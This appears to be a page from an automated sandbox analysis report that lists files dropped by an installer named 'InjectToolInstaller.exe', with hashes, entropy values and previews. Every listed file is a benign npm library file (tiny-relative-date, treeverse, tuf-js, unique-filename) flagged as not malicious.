Preview:	module.exports = {. justNow: "just now",. secondsAgo: "{{time}} seconds ago",. aMinuteAgo: "a minute ago",. minutesAgo: "{{time}} minutes ago",. anHourAgo: "an hour ago",. hoursAgo: "{{time}} hours ago",. aDayAgo: "yesterday",. daysAgo: "{{time}} days ago",. aWeekAgo: "a week ago",. weeksAgo: "{{time}} weeks ago",. aMonthAgo: "a month ago",. monthsAgo: "{{time}} months ago",. aYearAgo: "a year ago",. yearsAgo: "{{time}} years ago",. overAYearAgo: "over a year ago",. secondsFromNow: "{{time}} seconds from now",. aMinuteFromNow: "a minute from now",. minutesFromNow: "{{time}} minutes from now",. anHourFromNow: "an hour from now",. hoursFromNow: "{{time}} hours from now",. aDayFromNow: "tomorrow",. daysFromNow: "{{time}} days from now",. aWeekFromNow: "a week from now",. weeksFromNow: "{{time}} weeks from now",. aMonthFromNow: "a month from now",. monthsFromNow: "{{time}} months from now",. aYearFromNow: "a year from now",. yearsFromNow: "{{time}} years from no

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tiny-relative-date\translations\es.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	4.5713674557183825
Encrypted:	false
SSDEEP:	12:xBBc0DNkeEhXvttej1HJ29FEb4m3a2YXvMepD/s9OHJMOPM9Mm3h:DBc0y1NS1p29qn361/sUpMOPIv3h
MD5:	8A9DDB7E96FA4D696AD6706267E7F0EC
SHA1:	B1AD1A142972D7D5967D54258D7F3C652C46E119
SHA-256:	6907B984CBA33CE9D0EDA5428F0F64A370FA1A528F96791E1EBC426961A3AACF
SHA-512:	549B7FF5899B9CF1C53F64165924ED528F17316C84729BE09C901DBF9970CE59D0F1B85F5BBC755B6D9F879E4013AD4DEE8FB33869D8EB78463CB90CDE68D7A6
Malicious:	false
Preview:	module.exports = {. justNow: "reci.n",. secondsAgo: "hace {{time}} segundos",. aMinuteAgo: "hace un minuto",. minutesAgo: "hace {{time}} minutos",. anHourAgo: "hace una hora",. hoursAgo: "hace {{time}} horas",. aDayAgo: "ayer",. daysAgo: "hace {{time}} d.as",. aWeekAgo: "hace una semana",. weeksAgo: "hace {{time}} semanas",. aMonthAgo: "hace un mes",. monthsAgo: "hace {{time}} meses",. aYearAgo: "hace un a.o",. yearsAgo: "hace {{time}} a.os",. overAYearAgo: "hace mas de un a.o",. secondsFromNow: "dentro de {{time}} segundos",. aMinuteFromNow: "dentro de un minuto",. minutesFromNow: "dentro de {{time}} minutos",. anHourFromNow: "dentro de una hora",. hoursFromNow: "dentro de {{time}} horas",. aDayFromNow: "ma.ana",. daysFromNow: "dentro de {{time}} d.as",. aWeekFromNow: "dentro de una semana",. weeksFromNow: "dentro de {{time}} semanas",. aMonthFromNow: "dentro de un mes",. monthsFromNow: "dentro de {{time}} meses",. aYearFromNow: "dentro de un a.o",.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\treeverse\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	756
Entropy (8bit):	4.9882298375740355
Encrypted:	false
SSDEEP:	12:9FMUHVTES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9rpICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	FF53DF3AD94E5C618E230AB49CE310FA
SHA1:	A0296AF210B0F3DC0016CB0CEEE446EA4B2DE70B
SHA-256:	EC361617C0473D39347B020EAA6DCEEDAEBAB43879FA1CD8B8F0F97A8E80A475
SHA-512:	876B0BD6A10F852661818D5048543BB37389887BF721016B6B7D1FA6D59D230D06F8FF68A59A59F03C25FBC80A2CBB210E7CA8179F111ECD10929B25B3D5CDFE
Malicious:	false
Preview:	The ISC License..Copyright (c) npm, Inc. and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\treeverse\lib\breadth.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1803
Entropy (8bit):	4.535079622375666
Encrypted:	false
SSDEEP:	48:9d5QgOOLzAG8u2TFoiQVhFyI6qQ9WdLtBF7EDb:PmYsTFoiQVhF36qkWdLtub
MD5:	90B2158FBAC176377F900B5B92149AEC
SHA1:	A484ACCD1E69BAF3812366B60BEBC9220D1630E9
SHA-256:	500D4F8CFCAC6FD5BC6D488BD5E3C55EB61B36ED6C70A947ED4B9A3D83626B66
SHA-512:	2F81242BE897B5688C2ADDEBDD0B602BAA720537F11534D3B0B95FA5AEE6D003182B61AA60061CAC80BCA9FCEB8FC6B73955ED8F0935B5B3AAE988202690B6D4
Malicious:	false
Preview:	// Perform a breadth-first walk of a tree, either logical or physical.// This one only visits, it doesn't leave. That's because.// in a breadth-first traversal, children may be visited long.// after their parent, so the "exit" pass ends up being just.// another breadth-first walk..//.// Breadth-first traversals are good for either creating a tree (ie,.// reifying a dep graph based on a package.json without a node_modules.// or package-lock), or mutating it in-place. For a map-reduce type of.// walk, it doesn't make a lot of sense, and is very expensive..const breadth = ({. visit,. filter = () => true,. getChildren,. tree,.}) => {. const queue = []. const seen = new Map().. const next = () => {. while (queue.length) {. const node = queue.shift(). const res = visitNode(node). if (isPromise(res)) {. return res.then(() => next()). }. }. return seen.get(tree). }.. const visitNode = (visitTree) => {. if (seen.has(visitTree)) {. return se

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\treeverse\lib\depth-descent.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1819
Entropy (8bit):	4.5575072491170046
Encrypted:	false
SSDEEP:	48:G5cncAzgEkXYFoiQVhFyI6qQ9WdLtVEDA:GqncjLXYFoiQVhF36qkWdLtMA
MD5:	8B53E8FE4E6282B237FF7E6335B5702F
SHA1:	CA93D7114E7BB27F2EC1F2F492ECDB9DB6074B25
SHA-256:	A592185375749D30EDA0E33C1803641E9EF14516A1870EFF5E605715C509E17A
SHA-512:	7B6D9E5FBD515D64BF177D28CF43978EA18C99DFCC6E2DDE825DA650654A9E41C7EA9128073EDC50837216A635E02FF8B1473C61BF927B359E1410A741265CDE
Malicious:	false
Preview:	// Perform a depth-first walk of a tree, ONLY doing the descent (visit).//.// This uses a stack rather than recursion, so that it can handle deeply.// nested trees without call stack overflows. (My kingdom for proper TCO!).//.// This is only used for cases where leave() is not specified..//.// a.// +-- b.// \| +-- 1.// \| +-- 2.// +-- c.// +-- 3.// +-- 4.//.// Expect:.// visit a.// visit b.// visit 1.// visit 2.// visit c.// visit 3.// visit 4.//.// stack.push(tree).// while stack not empty.// pop T from stack.// VISIT(T).// get children C of T.// push each C onto stack..const depth = ({. visit,. filter,. getChildren,. tree,.}) => {. const stack = []. const seen = new Map().. const next = () => {. while (stack.length) {. const node = stack.pop(). const res = visitNode(node). if (isPromise(res)) {. return res.then(() => next()). }. }. return seen.get(tree). }.. const visitNode = (visitTree) => {. if (seen.has(visitTree))

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\treeverse\lib\depth.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	4.513328115012875
Encrypted:	false
SSDEEP:	48:GjvIL9fUfRjT7VGMFyxlVU7gJsWdSQtoOO2Eo2e64Ja4eCEDA:GjvIL9MfNT7VjFGXxsWdbthBERe62xec
MD5:	C2237E90A6AF745712EA79458D135B15
SHA1:	9160F5D56CA1DCB7E4AD369FCE8823A147F3E0CA
SHA-256:	8F8D6B51452A744B034543650DE1AA950C31BCCBA05ECA52CB489F1EDB62F7D4
SHA-512:	78A65F7CC36DD297798A1501B63DA89E40D8D534B484D6478C631E041A32D774E967F36CD2232E8166637302F6F4FB5B9176A0299A6919AEBE94B78E72FC692C
Malicious:	false
Preview:	// Perform a depth-first walk of a tree..//.// `visit(node)` is called when the node is first encountered..// `leave(node, children)` is called when all of the node's children.// have been left or (in the case of cyclic graphs) visited..//.// Only one of visit or leave is required. (Technically both are optional,.// but if you don't provide at least one, the tree is just walked without.// doing anything, which is a bit pointless.) If visit is provided, and.// leave is not, then this is a root->leaf traversal. If leave is provided,.// and visit is not, then it's leaf->root. Both can be provided for a.// map-reduce operation..//.// If either visit or leave return a Promise for any node, then the.// walk returns a Promise...const depthDescent = require('./depth-descent.js').const depth = ({. visit,. leave,. filter = () => true,. seen = new Map(),. getChildren,. tree,.}) => {. if (!leave) {. return depthDescent({ visit, filter, getChildren, tree }). }.. if (seen.has(tree))

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\treeverse\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	89
Entropy (8bit):	4.543549730594739
Encrypted:	false
SSDEEP:	3:3BBBbmPXXRgUoBRxFIvF72FQUlRZNIvC:xBBSvXRgVxgJiQ2gC
MD5:	1A4E6009A246CAAF070B982600823F69
SHA1:	AF75EBC0F1124CD4991DF822379504B28FE9E5A5
SHA-256:	2E2020CE18C3C6805FD42BABA7A70BCD82A330C17FB8102F78A42CEAC2FC1758
SHA-512:	A98EA93494966838AFAAF9EC2FC62F2B8F0A0F0CB7FF0C019F7DC9C39D2E3C33A887F8B4134CE6F2C1325FEF66B30DDA5218CA68435E94DE50EABA1402E699CE
Malicious:	false
Preview:	module.exports = {. breadth: require('./breadth.js'),. depth: require('./depth.js'),.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\treeverse\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1265
Entropy (8bit):	4.703742727339826
Encrypted:	false
SSDEEP:	24:Vyt14BJPAJbN3aRPYKFw1eySInuZY98LIFzXOFgeJo631V:k34DI9N3aRPYF1e7TZS8s19efFV
MD5:	C13C619CE7C443D0012FC604F99AB253
SHA1:	83653DCF5B0C581F485FEBCBEB9152176632BED0
SHA-256:	F3F8EF63CBA6010D27629A7E08EB87D62AD1F12056D1E6A4E32DE79A159A95D4
SHA-512:	9163F2685ED5BC1EBBBC0C8A3CDDB8B48863D2D38D2EBEB4726C632090D1E24C717E4B9ECBD06E48E50D6243DF72A504B22BF77F12A9727631724E9AC12C8F17
Malicious:	false
Preview:	{. "name": "treeverse",. "version": "3.0.0",. "description": "Walk any kind of tree structure depth- or breadth-first. Supports promises and advanced map-reduce operations with a very small API.",. "author": "GitHub Inc.",. "license": "ISC",. "repository": {. "type": "git",. "url": "https://github.com/npm/treeverse.git". },. "scripts": {. "test": "tap",. "snap": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint". },. "tap": {. "100": true,. "coverage-map": "test/coverage-map.js",. "nyc-arg": [. "--exclude",. "tap-snapshots/**". ]. },. "devDependencies": {. "@npmcli/eslint-config": "^3.0.1",. "@npmcli/template-oss": "4.5.1",. "tap": "^16.0.1". },. "files": [. "bin/",. "lib/". ],. "main": "lib/index.js",. "keywords": [. "tree",. "traversal",. "depth first search

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tuf-js\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	5.090847552390311
Encrypted:	false
SSDEEP:	24:XYzrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:ozaJHlxE3dQHOs5exm3ogFh
MD5:	391090FCDB3D37FB9F9D1C1D0DC55912
SHA1:	138F23E4CC3BB584D7633218BCC2A773A6BBEA59
SHA-256:	564BCB001D6E131452A8E9FBA0F0CCC59E8B881F84CE3E46E319A5A33E191E10
SHA-512:	070121C80CD92001196FB15EFB152188C47FDC589B8F33B9DA5881AA9470546B82CB8A8EA96FE1073723F47149E184F1A96C2777A9FC9B45AF618C08464D6C5E
Malicious:	false
Preview:	MIT License..Copyright (c) 2022 GitHub and the TUF Contributors..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tuf-js\dist\config.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	416
Entropy (8bit):	4.883180506824831
Encrypted:	false
SSDEEP:	12:BETNyh3Mgh3HKYBO12vVh1Awo170Lk6VC:KRyBlBHVOyX1Ad17L
MD5:	DD6EC8ABAE05301FBD082A750F441F24
SHA1:	3AA49BABC59CA8F1649E9882D5EB32E8B313FC12
SHA-256:	355BA41762FAD5CF92093F264D19DD7B4BC047D85A7EC1CB87FC4BD3DDD91A3A
SHA-512:	7288D15A557D9A5C5C0DFAEC66D5968A93B804AFECC0D40CB54B08A9FFED95ABF4B2D64A9D11522B154F3721BC210E03B04DCD1A585E09EDF319CFFE70CFBA90
Malicious:	false
Preview:	"use strict";.Object.defineProperty(exports, "__esModule", { value: true });.exports.defaultConfig = void 0;.exports.defaultConfig = {. maxRootRotations: 32,. maxDelegations: 32,. rootMaxLength: 512000,. timestampMaxLength: 16384,. snapshotMaxLength: 2000000,. targetsMaxLength: 5000000,. prefixTargetsWithHash: true,. fetchTimeout: 100000,. fetchRetries: undefined,. fetchRetry: 2,.};.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tuf-js\dist\error.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2065
Entropy (8bit):	4.724617234996999
Encrypted:	false
SSDEEP:	48:KEzRvFRLRg3aTRkuuRPbRTfxNR7IRjfRiRLRWURG:KE9jlKadreP11DItyDG
MD5:	6DE0D9D8D1D07F164FBE8574BA124662
SHA1:	AB13D3AD4F6607EEF52E1AE7429296138A4D058D
SHA-256:	6CB8191CE4F35FB3B09E9D16795EB19A40332A1FCC98533E15CC9FB06249E2BC
SHA-512:	F27168589D523806A85A0F07567F41807024D3BA160B81CD0EE2AFB5E63CB219AD7CEF5499A359EA9603B5D68ED449B14375EF0072CB761CD74E520F0AA1EB97
Malicious:	false
Preview:	"use strict";.Object.defineProperty(exports, "__esModule", { value: true });.exports.DownloadHTTPError = exports.DownloadLengthMismatchError = exports.DownloadError = exports.ExpiredMetadataError = exports.EqualVersionError = exports.BadVersionError = exports.RepositoryError = exports.PersistError = exports.RuntimeError = exports.ValueError = void 0;.// An error about insufficient values.class ValueError extends Error {.}.exports.ValueError = ValueError;.class RuntimeError extends Error {.}.exports.RuntimeError = RuntimeError;.class PersistError extends Error {.}.exports.PersistError = PersistError;.// An error with a repository's state, such as a missing file..// It covers all exceptions that come from the repository side when.// looking from the perspective of users of metadata API or ngclient..class RepositoryError extends Error {.}.exports.RepositoryError = RepositoryError;.// An error for metadata that contains an invalid version number..class BadVersionError extends RepositoryErr

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tuf-js\dist\fetcher.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	3306
Entropy (8bit):	4.5141398442463165
Encrypted:	false
SSDEEP:	96:48EtPUhAsTh2hWRdQM5NyTCsW6WYuIeIRy5C+XNtmJlD:486UhA2h2h2QM5kTC76WYjeIRy5NuJlD
MD5:	2BC685B3E3143A764DC43D2DEE71D7B6
SHA1:	A9EE41A13E4361E525722F12DA6C49050BA55FF7
SHA-256:	F83E50289B226AF50AED43C36C76664ED738EF10D2AC957E644D572331A19CAB
SHA-512:	24391E387DFC56F9ADB76EFF64C6F10A6891F3E431B92A5E8C4A93F25C3CD0C443DEE60EBC4EC0A6FB2DAB44BABA2D725FFFF77BA11B17CDB72C67CA9B0AC5E3
Malicious:	false
Preview:	"use strict";.var __importDefault = (this && this.__importDefault) \|\| function (mod) {. return (mod && mod.__esModule) ? mod : { "default": mod };.};.Object.defineProperty(exports, "__esModule", { value: true });.exports.DefaultFetcher = exports.BaseFetcher = void 0;.const debug_1 = __importDefault(require("debug"));.const fs_1 = __importDefault(require("fs"));.const make_fetch_happen_1 = __importDefault(require("make-fetch-happen"));.const util_1 = __importDefault(require("util"));.const error_1 = require("./error");.const tmpfile_1 = require("./utils/tmpfile");.const log = (0, debug_1.default)('tuf:fetch');.class BaseFetcher {. // Download file from given URL. The file is downloaded to a temporary. // location and then passed to the given handler. The handler is responsible. // for moving the file to its final location. The temporary file is deleted. // after the handler returns.. async downloadFile(url, maxLength, handler) {. return (0, tmpfile_1.withTempFil

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tuf-js\dist\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	615
Entropy (8bit):	4.869043557711108
Encrypted:	false
SSDEEP:	12:BETNy22j0//Z0E9HRBGVpEZjuHMjaiOylERHwRB:KRy22j0/hl9HR9ZjuHMjcy2RHw7
MD5:	640751143B93537004A64402223A1DE1
SHA1:	AF2D8685B8E1B34143F4E76C7B31B211B394CED3
SHA-256:	083CB168F0B1767C299012AA47A00F53BD50EE9B565313FF1768526E9C095180
SHA-512:	26320F324B1B778F391B4081B1CEADBD6C9E6ADC06812A337E34183A1E50F3A582D6DFE1CAFB3F7F2718F91D323DDC0F9728E6AD87E3BD26A95856B7F4BCE944
Malicious:	false
Preview:	"use strict";.Object.defineProperty(exports, "__esModule", { value: true });.exports.Updater = exports.BaseFetcher = exports.TargetFile = void 0;.var models_1 = require("@tufjs/models");.Object.defineProperty(exports, "TargetFile", { enumerable: true, get: function () { return models_1.TargetFile; } });.var fetcher_1 = require("./fetcher");.Object.defineProperty(exports, "BaseFetcher", { enumerable: true, get: function () { return fetcher_1.BaseFetcher; } });.var updater_1 = require("./updater");.Object.defineProperty(exports, "Updater", { enumerable: true, get: function () { return updater_1.Updater; } });.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tuf-js\dist\store.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	10461
Entropy (8bit):	4.608379822609343
Encrypted:	false
SSDEEP:	192:KX+HrYAyIbMb2EAptG2GefzuUFeGKeR2Te7eZ9CyE7GJIYeuQjQ+IH+2luPeOL1I:PEAZrFjeHBtPp
MD5:	08BC6D96BCB13FC766EDE929D683A90A
SHA1:	2E375157EF2DE6986614212A5DF0B54F63D02DEE
SHA-256:	B62F551BF662D2374D29DF046AA6FDB130ADFA68E45393006A0FC6A912A7EFC1
SHA-512:	DB9BFD7503D48A1593C562DE3AB597E8D9AC089C34F0A8152489F358E0D4B17B69AA378BA94506ED7B41AC5FCE095BF4B42212105A2FBC15DE8EFAB5D0C7D244
Malicious:	false
Preview:	"use strict";.Object.defineProperty(exports, "__esModule", { value: true });.exports.TrustedMetadataStore = void 0;.const models_1 = require("@tufjs/models");.const error_1 = require("./error");.class TrustedMetadataStore {. constructor(rootData) {. this.trustedSet = {};. // Client workflow 5.1: record fixed update start time. this.referenceTime = new Date();. // Client workflow 5.2: load trusted root metadata. this.loadTrustedRoot(rootData);. }. get root() {. if (!this.trustedSet.root) {. throw new ReferenceError('No trusted root metadata');. }. return this.trustedSet.root;. }. get timestamp() {. return this.trustedSet.timestamp;. }. get snapshot() {. return this.trustedSet.snapshot;. }. get targets() {. return this.trustedSet.targets;. }. getRole(name) {. return this.trustedSet[name];. }. updateRoot(bytesBuffer) {. const data = JSON.parse(bytesB

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tuf-js\dist\updater.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	14375
Entropy (8bit):	4.48468631838105
Encrypted:	false
SSDEEP:	192:0xk9D7vW88ZEQ80pGNOyGPfPCTlkDaKhH74bf/mlBiBfIyHChSXlyiEuKSsa1fzv:0xm88g3p7F6CSsrPC6AsjDi
MD5:	EB672332EF1DA469FB9EFBA3AB1F6BDE
SHA1:	71F04A13E24FB4F4642365E7D88ED770C09EEA49
SHA-256:	C28CD9FD7C690AFE84C9D745AB03D9C48703D78DD7498B3A64CC1A5F5F32AB74
SHA-512:	E3730B721C4CF55601B783E963A8758F44E3DCD5EB69DD6AE2B62B34AE2BBD0724249C0A966D09160C7487299DEB082D49FED041C87CAAF723182831189B4899
Malicious:	false
Preview:	"use strict";.var __createBinding = (this && this.__createBinding) \|\| (Object.create ? (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. var desc = Object.getOwnPropertyDescriptor(m, k);. if (!desc \|\| ("get" in desc ? !m.__esModule : desc.writable \|\| desc.configurable)) {. desc = { enumerable: true, get: function() { return m[k]; } };. }. Object.defineProperty(o, k2, desc);.}) : (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. o[k2] = m[k];.}));.var __setModuleDefault = (this && this.__setModuleDefault) \|\| (Object.create ? (function(o, v) {. Object.defineProperty(o, "default", { enumerable: true, value: v });.}) : function(o, v) {. o["default"] = v;.});.var __importStar = (this && this.__importStar) \|\| function (mod) {. if (mod && mod.__esModule) return mod;. var result = {};. if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);. __setModuleDef

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tuf-js\dist\utils\tmpfile.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.853159352006622
Encrypted:	false
SSDEEP:	24:xOZMHFRy0PHK1wwMor0/2p1wHSogdWxLQP3yQLbTr0:4CFE0PK1wwTr0up1wNLZQM
MD5:	19290D848402BFB16CCF90197BD73945
SHA1:	17EC218470A132EF1C1426F281FEB413D096ABA5
SHA-256:	D34560FED7BE090F0FC61BB9EF9BE64AA2E23019F96D1CB9B20EBB627AC9C28C
SHA-512:	6BEC0B047EED27A89096BE2FCB3651C5D8963841DFB1979D049453EEA928FB33E5892497E6BB2C3726E7DCD9FBE19CC1EEEB12E11F0E0959604AC78934D565EC
Malicious:	false
Preview:	"use strict";.var __importDefault = (this && this.__importDefault) \|\| function (mod) {. return (mod && mod.__esModule) ? mod : { "default": mod };.};.Object.defineProperty(exports, "__esModule", { value: true });.exports.withTempFile = void 0;.const promises_1 = __importDefault(require("fs/promises"));.const os_1 = __importDefault(require("os"));.const path_1 = __importDefault(require("path"));.// Invokes the given handler with the path to a temporary file. The file.// is deleted after the handler returns..const withTempFile = async (handler) => withTempDir(async (dir) => handler(path_1.default.join(dir, 'tempfile')));.exports.withTempFile = withTempFile;.// Invokes the given handler with a temporary directory. The directory is.// deleted after the handler returns..const withTempDir = async (handler) => {. const tmpDir = await promises_1.default.realpath(os_1.default.tmpdir());. const dir = await promises_1.default.mkdtemp(tmpDir + path_1.default.sep);. try {. return

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tuf-js\dist\utils\url.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	456
Entropy (8bit):	4.968397751074281
Encrypted:	false
SSDEEP:	12:BETNyE/xjNYK6lRFsxREcECLAOjbVLeTu:KRygxZD6lRFwRHECLAOjbVLeC
MD5:	ACE547BB594D429C3B9F2925A8D23C39
SHA1:	757A3DDAA4E64F575628D038205220C018B820F7
SHA-256:	E77F9CC8B41370321E96CD7A0E39D72F78A6D9D6287F13B187D846C641089AAC
SHA-512:	23EDB21574F7D790302EC7CBA8758B813276233D57117970B09D499BEDED195974E4FCF26D043EB0C4AA6BEC27B3DB642C3815AAD1F7E70E8F836D8DDDEEA7EB
Malicious:	false
Preview:	"use strict";.Object.defineProperty(exports, "__esModule", { value: true });.exports.join = void 0;.const url_1 = require("url");.function join(base, path) {. return new url_1.URL(ensureTrailingSlash(base) + removeLeadingSlash(path)).toString();.}.exports.join = join;.function ensureTrailingSlash(path) {. return path.endsWith('/') ? path : path + '/';.}.function removeLeadingSlash(path) {. return path.startsWith('/') ? path.slice(1) : path;.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tuf-js\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.8279156339982405
Encrypted:	false
SSDEEP:	24:y1UYtwNGAJoTP9dRi919bs+uT89GGuCk09Z6d7:uUzNGAJmPbRib6+uTehJEd7
MD5:	D80C099AF50AA7379172B0C5888E4241
SHA1:	08B46956B8679955FDA9F77B9AEE84BB455F1586
SHA-256:	A5431320001F630A067C4AC93CE0817DC6C6B3A340690EA62144FC33DC3FDDF7
SHA-512:	6F5E89EDC0D98AB4104151A5EE9F53F69B9FB07C05373E3E6D9714142EE10FB58D15336ACDB3ADF4C268597B47C2B9820EE6930B8CDDBE0D0FC465E49E77CAC0
Malicious:	false
Preview:	{. "name": "tuf-js",. "version": "2.1.0",. "description": "JavaScript implementation of The Update Framework (TUF)",. "main": "dist/index.js",. "types": "dist/index.d.ts",. "scripts": {. "build": "tsc --build",. "clean": "rm -rf dist",. "test": "jest". },. "repository": {. "type": "git",. "url": "git+https://github.com/theupdateframework/tuf-js.git". },. "files": [. "dist". ],. "keywords": [. "tuf",. "security",. "update". ],. "author": "bdehamer@github.com",. "license": "MIT",. "bugs": {. "url": "https://github.com/theupdateframework/tuf-js/issues". },. "homepage": "https://github.com/theupdateframework/tuf-js/tree/main/packages/client#readme",. "devDependencies": {. "@tufjs/repo-mock": "2.0.0",. "@types/debug": "^4.1.8",. "@types/make-fetch-happen": "^10.0.1". },. "dependencies": {. "@tufjs/models": "2.0.0",. "debug": "^4.3.4",. "make-fetch-happen": "^13.0.0". },. "engines": {. "node": "^16.14.0 \|\| >=18.0.0".

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\unique-filename\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (485)
Category:	dropped
Size (bytes):	717
Entropy (8bit):	4.9121071357313
Encrypted:	false
SSDEEP:	12:ES4dCPXcbbmmgmq6KX9KsA83Xs1HUXA3+dPRz2AvPNT3khy2CgK2PF3ew:XICckmq6s9i4gAc2PRZAQwF3ew
MD5:	454D711EFC1FB9A50689CB3F4BF133D4
SHA1:	EF2567C24676E0984660208C2BAB9C2D6B713145
SHA-256:	11734BF6E540E2C021413451205315E5053932DE9DF9E81279CF2ACAD6F135ED
SHA-512:	0D501D1A44DC6021176BD7017845383A1734915518043C4C44B91B397D674FC2C2215B28D62E576DAD6256DB8D8B7453CB9A7ECE1388AADE91D296A8825B5C98
Malicious:	false
Preview:	Copyright npm, Inc..Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\unique-filename\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	202
Entropy (8bit):	4.643897204255248
Encrypted:	false
